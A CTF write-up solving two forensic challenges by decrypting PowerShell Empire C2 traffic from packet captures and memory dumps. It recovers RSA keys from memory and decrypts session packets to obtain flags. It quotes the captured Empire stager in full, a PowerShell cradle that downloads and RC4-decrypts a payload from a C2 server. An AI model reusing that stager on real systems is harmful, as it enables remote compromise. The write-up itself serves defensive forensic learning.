At ECSC, HTB created a challenge requiring the decryption of Empire C2 communication using a PowerShell process dump and a Wireshark capture. A month later, during the DG’hAck CTF, another similar challenge was proposed (the authors weren’t aware of the previous challenge release). It was more realistic as it provided the memory dump of the complete computer.
ECSC - Escaping the net
Description
In the not so distance future one faction controls every piece of information traveling through the internet! Some data from a computer infected with the faction’s modified string of malware falls in your posession. This is your last and only change of escaping the faction. Analyze the data you have and find the secret of flying under the net of traps, indefinetely!
SHA256(capture.pcapng
) = 4d1f90b61ec60f0a10dd84794a994df973444b01115b8de44bba414a3b6a454a
SHA256(powershell.DMP
) = de40bcc769e90137372d1058c5080f9fa8287a42effebb46617eab8453c1c3e0
Resolution
Traffic analysis
By analysing the Wireshark capture, we notice in TCP stream 2 a PowerShell Empire Stager payload :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
If ($PSVersionTable.PSVersion.Major - ge 3) {};
[System.Net.ServicePointManager]::Expect100Continue = 0;
$wc = New - Object System.Net.WebClient;
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMgAwADoAMQAzADMANQA=')));
$t = '/admin/get.php';
$wc.Headers.Add('User-Agent', $u);
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$Script:Proxy = $wc.Proxy;
$K = [System.Text.Encoding]::ASCII.GetBytes('!>N6_APgJ]Yx%)j8[QXlK:T<pn4^+Dek');
$R = {
$D, $K = $Args;
$S = 0..255;
0..255|% {
$J = ($J + $S[$_] + $K[$_%$K.Count])%256;
$S[$_], $S[$J] = $S[$J], $S[$_]
};
$D|% {
$I = ($I + 1)%256;
$H = ($H + $S[$I])%256;
$S[$I], $S[$H] = $S[$H], $S[$I];
$_ - bxor$S[($S[$I] + $S[$H])%256]
}
};
$wc.Headers.Add("Cookie", "UgDbaIICDRGt=eyCekZAaV0MHgcqj2YIthhHoFUA=");
$data = $wc.DownloadData($ser + $t);
$iv = $data[0..3];
$data = $data[4..$data.length];
- join[Char[]](& $R $data ($IV + $K))
|
The code was beautified with CyberChef
We will refer to an article of Keysight that that explains the different stages involved in order to decrypt the traffic.
We start by extracting the RC4 key !>N6_APgJ]Yx%)j8[QXlK:T<pn4^+Dek
from the previous script. This is 213e4e365f4150674a5d597825296a385b51586c4b3a543c706e345e2b44656b
in hexadecimal.
The next TCP stream includes stage 0 payload encrypted with the previously found RC4 key, prefixed by the first 4 bytes of data
CyberChef gives us the decrypted data corresponding to comms.ps1 and http.ps1.
Searching public key
Data packet for the stage 1 sent by the client contains the encrypted public key.
The code in encryption.py assists us in decrypting this packet. We need to omit the initial 20 bytes, as they constitute metadata encrypted with the RC4 key. Additionally, we skip the final 10 bytes, which serve as HMAC-SHA256 verification (as explained in the Decrypt-Bytes function).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from Crypto.Util.number import bytes_to_long
from re import search
from base64 import b64decode
def _get_byte(c):
return c
def depad(data):
"""
Performs PKCS#7 depadding for 128 bit block size.
"""
if len(data) % 16 != 0:
raise ValueError("invalid length")
pad = _get_byte(data[-1])
return data[:-pad]
def aes_decrypt(key, data):
"""
Generate an AES cipher object, pull out the IV from the data
and return the unencrypted data.
"""
if len(data) > 16:
backend = default_backend()
IV = data[0:16]
cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend)
decryptor = cipher.decryptor()
pt = depad(decryptor.update(data[16:]) + decryptor.finalize())
return pt
payload = bytes.fromhex("6d76010fd8f485be642971aaec33095b8c1bfc7ad6bc8a979c347fe410b27c1523e5f78008fb6673cc1960c3471ef7970aa939f8a3e7e43b38e6d3c3da6c7f76598c6a51daae8e49e338bdeec5f7187ed0217d4f94ba467ee64ff428bfb22ab74dc6435b48ff189ffdd80a5b281d359798da440a75e19eb780f2fa169955706228e4fb54c25093afe3e20fadbddb067d6929a20e7cbdd235f4b6bc2210a15aa8ede775464b3153d9a6ce2c840fdbdfad051be6dc4f4ac6cf8ea18c5e76cabf2b1841ed0ca003335017fd318cdaba7e31f6b7628cabaabab721057c41662e06a97b19a174e1092bd53823a89c5fa20eb4018989de456791800ec847882b1ac92a7ee3b76e1e0a71efeb1bc2ddf5d1fec9b053df7b00e88e724fea07c2a80c9253f5054d02f0a720df60d711b072987a163a6ae4def8197e8a48b72a323d79fd0e56f05c63bb166fdc2f11d7e97c0b5876729360857f8a41dccaff7795af50bacee69f9ea22dd7542f33c89704ebc145f655c932cc745580383148a73b37a3b20e51305f72c8bb9b0d8812730b5a05d1e947eddba3be4c5cc91f5fdd022ecc7fbd0c1332fed0b399584cda53a9ddf63b26287a159069933656e985e9976a610ca9aec4ef23a3eb5825bd3f60a38944")
bpublic_key_xml = aes_decrypt(b"!>N6_APgJ]Yx%)j8[QXlK:T<pn4^+Dek", payload[20:-10])
public_key_xml = bpublic_key_xml.decode()
print(public_key_xml)
pattern_m = r"<Modulus>(.*?)<\/Modulus>"
match_m = search(pattern_m, public_key_xml)
modulus = match_m.group(1)
print("[+] Modulus:", bytes_to_long(b64decode(modulus.encode())))
|
As a result, we obtain the RSA public key in XML along with the modulus in hexadecimal
1
2
|
<RSAKeyValue><Modulus>tpXsxI/WxP2J+3GS/KvHB1Kn4YpOEoz+Xs/ZJAugz0S7Ub6UACOfIBsv/jJBA3BZhjO6WcH8CWEyEOidLnVwq8knL9Y0lGDVhzDxq3wKtcT96xXNbX+BQHh+NnK73KC907qZLlQh4uEcR1K+7ShCpWcEOuK19GUsNxbm1hfhq/34Gm1sGNFe4+6WIWaVzWV8S2HmOUhEAC9Sa3PYER9vR6vBFfl+SgFyGV3ofUbxLw3jf2rOj+0LnBQs1LrQys8xgGXutcDhcbti3ZFPpPDfFLPZBO6tfRIbmZl4L1Kxesxc6Z15mg9XUqzmFRGaLGG9RMQ45hGeGFmLt0N7prKCSQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>
[+] Modulus: 23049302214773420339888382540410753402651718516065167483858972206483436298967572673734038508039364390683341157775406726951936246571242114256381734731054078367883062634204203286481624901048710896253570780365093924127052873332067477662952267952183606598880980819029045052473073717573358283121094379450269370096390356870687095013936112713909410756077794987361344375171250673534267235364721184697909797322949738603959040702123317397978606740909770448584233420638749079819788499778008232946559428382763380064809593309039009413795112079889299815020606846525404903719653612982249073880285257393521807823787008517437337535049
|
We can convert the key from XML to PEM employing raskeyconverter.
1
2
3
4
5
6
7
8
9
|
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtpXsxI/WxP2J+3GS/KvH
B1Kn4YpOEoz+Xs/ZJAugz0S7Ub6UACOfIBsv/jJBA3BZhjO6WcH8CWEyEOidLnVw
q8knL9Y0lGDVhzDxq3wKtcT96xXNbX+BQHh+NnK73KC907qZLlQh4uEcR1K+7ShC
pWcEOuK19GUsNxbm1hfhq/34Gm1sGNFe4+6WIWaVzWV8S2HmOUhEAC9Sa3PYER9v
R6vBFfl+SgFyGV3ofUbxLw3jf2rOj+0LnBQs1LrQys8xgGXutcDhcbti3ZFPpPDf
FLPZBO6tfRIbmZl4L1Kxesxc6Z15mg9XUqzmFRGaLGG9RMQ45hGeGFmLt0N7prKC
SQIDAQAB
-----END PUBLIC KEY-----
|
Recovering private key
Two weeks before the ECSC, I developed a tool to decrypt Covenant traffic. One of the scripts (extract_privatekey.py) allows the recovery of the RSA private key (through P and Q) from a minidump. The Empire stager is written in PowerShell, which frequently calls C# functions. Since Covenant is coded in C#, this means I could use my tool to retrieve the private key from the memory.
1
2
3
4
5
|
$ python3 extract_privatekey.py -i powershell.DMP -m 23049302214773420339888382540410753402651718516065167483858972206483436298967572673734038508039364390683341157775406726951936246571242114256381734731054078367883062634204203286481624901048710896253570780365093924127052873332067477662952267952183606598880980819029045052473073717573358283121094379450269370096390356870687095013936112713909410756077794987361344375171250673534267235364721184697909797322949738603959040702123317397978606740909770448584233420638749079819788499778008232946559428382763380064809593309039009413795112079889299815020606846525404903719653612982249073880285257393521807823787008517437337535049 -o ./
[-] A pair of P and Q were located, but they do not match the modulus.
[-] A pair of P and Q were located, but they do not match the modulus.
[-] A pair of P and Q were located, but they do not match the modulus.
[+] Saved private key /home/naacbin/VMs/source/lab/forensic/ecsc/privkey1.pem
|
I had to modify the script during the competition because the key in the memory dump is presented in little-endian format and isn’t stored as specified in the Microsoft RSA private key blob specification. It is now supported.
Recovering private key manually
To find P and Q manually, we will need to search for the modulus in the dump. Then, we convert the modulus from a long to hexadecimal, swapping the endianness in the process.
By searching for the value in the memory dump, we locate 4 references in little-endian format to the modulus. The last one appears to have possible values of P and Q following it. However, upon recalculating the modulus, it doesn’t match.
The answer lies a bit further, where we can identify P.
“bit futher” means (modulus_size + modulus_size/2) == 256 + 128
bytes from end of modulus.
Q is found even further :
“even futher” means : (modulus_size/2 + modulus_size*1.5) == 128 + 384
bytes from end of P.
We convert both numbers from hexadecimal to long.
Finally, by multiplying P and Q, we obtain N:
1
2
3
4
5
|
>>> n = 23049302214773420339888382540410753402651718516065167483858972206483436298967572673734038508039364390683341157775406726951936246571242114256381734731054078367883062634204203286481624901048710896253570780365093924127052873332067477662952267952183606598880980819029045052473073717573358283121094379450269370096390356870687095013936112713909410756077794987361344375171250673534267235364721184697909797322949738603959040702123317397978606740909770448584233420638749079819788499778008232946559428382763380064809593309039009413795112079889299815020606846525404903719653612982249073880285257393521807823787008517437337535049
>>> p = 169414752525611414226748345811337944594811825315223852731072810522409700324151711595460951264648172342685166199312768774975556658875658043503763138303569262287594839027571404254018364093161447097007742988641259331347984959644512387798490684332467941100899392234050893733041257864886386490741908305880667412043
>>> q = 136052509425287052049429829470535359781709120635191870230765943566908760811063984513238500272705667393346121863912155590111240959325281688652765741761068394204724135018003770305870582975734988369176027079639368197706245686985205509978108253537737409484799728159967291567640509984541127521388441179704318000443
>>> p * q == n
True
|
It is now easy to recreate the private key using pycryptodome
library:
1
2
3
4
5
6
7
8
9
10
|
from Crypto.PublicKey import RSA
def build_private_key(private_key_file: str, p: int, q: int, e: int = 65537):
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
rsa_private_key = RSA.construct((p * q, e, d))
with open(private_key_file, "wb") as f:
f.write(rsa_private_key.export_key())
build_private_key("priv_key.pem", 169414752525611414226748345811337944594811825315223852731072810522409700324151711595460951264648172342685166199312768774975556658875658043503763138303569262287594839027571404254018364093161447097007742988641259331347984959644512387798490684332467941100899392234050893733041257864886386490741908305880667412043, 136052509425287052049429829470535359781709120635191870230765943566908760811063984513238500272705667393346121863912155590111240959325281688652765741761068394204724135018003770305870582975734988369176027079639368197706245686985205509978108253537737409484799728159967291567640509984541127521388441179704318000443)
|
Packets decryption
Since the response data packet for the stage 1 sent by the server contains the Session Key, we build a script to decrypt it.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Random import get_random_bytes
from Crypto.PublicKey import RSA
stage1_encoded = bytes.fromhex("080c887ac03cc7d6a684ccf494eb9ddd9bce53d35aef3cb1099cfee0f03c88cf83f9a99774eb4073b807779ce01adbd7cfd7af9dcc5c98f84c07ed4a769b1c780f85db9eb37bb03a2f99c2657b1e162abeb0277dbaa39fafe8eaf73a7e1ee5d2b8d7262134aa8f27d1237d9b6c26063b70eda8fbebcd6a9c7f18653abda0a3d8ec47384c524e0b8b5e42908348ad293c6aeedd4fdbb961213aaebecb9b30a015c7de919e56b4459ed789be094731f25ad9e3be56fc4fe22697d4e8d2602372576b0ec996cc51f3a2eb05f43d53a42791563ea7efd857c7dff6475b92be0201b15601fcb37ac076e67a97d46b1544164772228794383b30c0a6b9db29a7a35617")
with open("privkey1.pem", "r") as f:
rsa_private_key = RSA.import_key(f.read())
cipher = PKCS1_v1_5.new(rsa_private_key)
sentinel = get_random_bytes(16)
stage1_decoded = cipher.decrypt(stage1_encoded, sentinel)
print(f"[+] Nonce : {stage1_decoded[:16]}")
print(f"[+] Session Key : {stage1_decoded[16:]}")
|
1
2
3
|
$ python3 decrypt_stage1.py
[+] Nonce : 4519050223500364
[+] Session Key : adb358b50faa56ff9e3c719e6521b9b733bab5d121d5c5b818ed2f1d3f63388d
|
We are now able to decrypt any packet. We will extract the 3 client requests with the most data from WireShark (File -> Export Objects -> HTTP).
We leverage the same aes_decrypt
function as in our python script from stage 0 to decrypt the packets.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
with open("packet6294.dat", "rb") as r:
decrypt_data = aes_decrypt(bytes.fromhex("adb358b50faa56ff9e3c719e6521b9b733bab5d121d5c5b818ed2f1d3f63388d"), r.read()[20:-10])
cmd_type = int.from_bytes(decrypt_data[:2], "little")
nb_packets = int.from_bytes(decrypt_data[2:4], "little")
packet_id = int.from_bytes(decrypt_data[4:6], "little")
task_id = int.from_bytes(decrypt_data[6:8], "little")
length = int.from_bytes(decrypt_data[8:12], "little")
data = base64.b64decode(decrypt_data[12:])
print(f"[+] Type : {hex(cmd_type)}")
print(f"[+] Total of packets : {nb_packets}")
print(f"[+] Packet number : {packet_id}")
print(f"[+] Task id : {task_id}")
print(f"[+] Length : {length}")
print(data)
|
Executing the script gives us the flag :
Flag : HTB{y0u_m4n4g3d_t0_3sc4p3_th3_3MP1R3_0nc3_m0r3!!}
DG’hAck - L’an 1, et puis l’an 2
Description
On the company’s network that commissioned you to investigate, an employee launched an unknown file from a USB drive. Frightened, the employee went to the IT department, which performed a memory dump of the machine as a precaution. According to them, there is nothing to worry about, the machine is not compromised.
However, some time after reconnecting his PC to the network, the employee started losing some of his files. In a panic, he turned off his machine.
Fortunately, the IT department is implementing constant network monitoring.
With these two captures, your goal is to help the IT department to understand what happened and recover the contents of the precious file!
SHA256(capture.pcapng
) = dcca0c29133dec3e8c545422a81f87bd2c2c3fecb02e927db3d4d627579e0180
SHA256(cesar.raw
) = 27e0fb0400bc9b25d7cc3dc93a1085672ff019d38829ca1b99b32d29eef73543
Resolution
We are provided with 2 files, one of which includes a memory dump. To analyze it, we will employ MemProcFS
.
1
|
> MemProcFS -forensic 1 -device C:\Temp\cesar.raw
|
In the output of the findevil module (M:\forensic\csv\findevil.csv
), there is a detection by Windows Defender of Empire for the executable photoshop.exe
.
The list of process (M:\forensic\csv\process.csv
) shows that this binary was running at the time of the memory dump capture.
We retrieve its memory directly from the MemProcFS
mounted folders (M:\name\photoshop.exe-8112\minidump\minidump.dmp
). Since this challenge is similar to the previous one, we will skip the step of obtaining the public modulus through Wireshark and directly search for the XML representation in the memory.
1
2
|
$ strings minidump.dmp | grep "<RSAKeyValue>"
<RSAKeyValue><Modulus>tMWn/H1EhPpLFO9SQwv6qyZrSuUqx4Dv8YUqlDkCvIjr3q1H71Di/2HHZIKRdl6pvV2xAAZVHsAP3YFL4iVMvQPvL8JVvQj6lD46AmNdkt6q7bGtiywK+k7gManNzC9GpTKxYZMgN0jFcV9nZ2dNfIWi1L4jVXsy5DRjUb8tMpVsxmkVNs+H+pWqgLx0Uc1NhN083sLK27MEmL5iFDLdvKVFsT+s5H10Ex2yA+3H+uAVc7luz/zIhLAlq5Ogk0plKB/6E1JlEGQAuq/UkjELp25039KSMjOezQgiGG2gfNTwRkPyXNPekY1pQVjK5VHr2SP55UXuRNrca8hTtxSEvQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>
|
Then, we convert the modulus to long :
1
2
3
4
5
|
from Crypto.Util.number import bytes_to_long
from base64 import b64decode
modulus = "tMWn/H1EhPpLFO9SQwv6qyZrSuUqx4Dv8YUqlDkCvIjr3q1H71Di/2HHZIKRdl6pvV2xAAZVHsAP3YFL4iVMvQPvL8JVvQj6lD46AmNdkt6q7bGtiywK+k7gManNzC9GpTKxYZMgN0jFcV9nZ2dNfIWi1L4jVXsy5DRjUb8tMpVsxmkVNs+H+pWqgLx0Uc1NhN083sLK27MEmL5iFDLdvKVFsT+s5H10Ex2yA+3H+uAVc7luz/zIhLAlq5Ogk0plKB/6E1JlEGQAuq/UkjELp25039KSMjOezQgiGG2gfNTwRkPyXNPekY1pQVjK5VHr2SP55UXuRNrca8hTtxSEvQ=="
print(bytes_to_long(b64decode(modulus.encode())))
|
Next, we run extract_privatekey.py to extract private key from the memory.
1
2
3
4
5
|
$ python3 extract_privatekey.py -i minidump.dmp -m 22820362797029362380506780063426198891962457935239014078603703809934300231933399526959087299077277265321537233462504991295323915089341948956800255763176346245494618754450034332225668482492497958577348459811520494407627148706996685429928309614634710971607074856134268733692858448560753603950410868334915855376311319106658776208867505959576920722826069109367994350399067752595058935655162069431711115279028481006504776650672078599530350301229824195187805112969018408119667722247359639207551011288608956593490301154047555198394357380289375903207724556422371257979503240346109507598613875226961929909995971024030230938813 -o ./
[-] A pair of P and Q were located, but they do not match the modulus.
[-] A pair of P and Q were located, but they do not match the modulus.
[-] A pair of P and Q were located, but they do not match the modulus.
[+] Saved private key ./privkey1.pem
|
The response data packet for TCP stream 7 is extracted as it corresponds to stage 1.
We execute decrypt_stage1.py
script (written for ECSC challenge) with the response data of the server.
1
2
3
|
$ python3 decrypt_stage1.py
[+] Nonce : b'3949070969871305'
[+] Session Key : b'e\\Z6a3xGr|B-n?9u@5iN8)/q4w&{b+0m'
|
At last, we extract all HTTP objects from Wireshark and attempt to decrypt them. The packet containing the PDF that holds the flag is the 503 (news.php).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from Crypto.Util.number import bytes_to_long
from base64 import b64decode
def _get_byte(c):
return c
def depad(data):
"""
Performs PKCS#7 depadding for 128 bit block size.
"""
if len(data) % 16 != 0:
raise ValueError("invalid length")
pad = _get_byte(data[-1])
return data[:-pad]
def aes_decrypt(key, data):
"""
Generate an AES cipher object, pull out the IV from the data
and return the unencrypted data.
"""
if len(data) > 16:
backend = default_backend()
IV = data[0:16]
cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend)
decryptor = cipher.decryptor()
pt = depad(decryptor.update(data[16:]) + decryptor.finalize())
return pt
with open("news(6).php", "rb") as r:
decrypt_data = aes_decrypt(b'e\\Z6a3xGr|B-n?9u@5iN8)/q4w&{b+0m', r.read()[20:-10])
cmd_type = int.from_bytes(decrypt_data[:2], "little")
nb_packets = int.from_bytes(decrypt_data[2:4], "little")
packet_id = int.from_bytes(decrypt_data[4:6], "little")
task_id = int.from_bytes(decrypt_data[6:8], "little")
length = int.from_bytes(decrypt_data[8:12], "little")
data = b64decode(b64decode(decrypt_data[12:]).split(b"|")[-1])
print(f"[+] Type : {hex(cmd_type)}")
print(f"[+] Total of packets : {nb_packets}")
print(f"[+] Packet number : {packet_id}")
print(f"[+] Task id : {task_id}")
print(f"[+] Length : {length}")
print(data)
with open("confidential.pdf", "wb") as f:
f.write(data)
|
Flag : DGHACK{4_Gr3P_4nD_7h3_3mP1r3_f411S}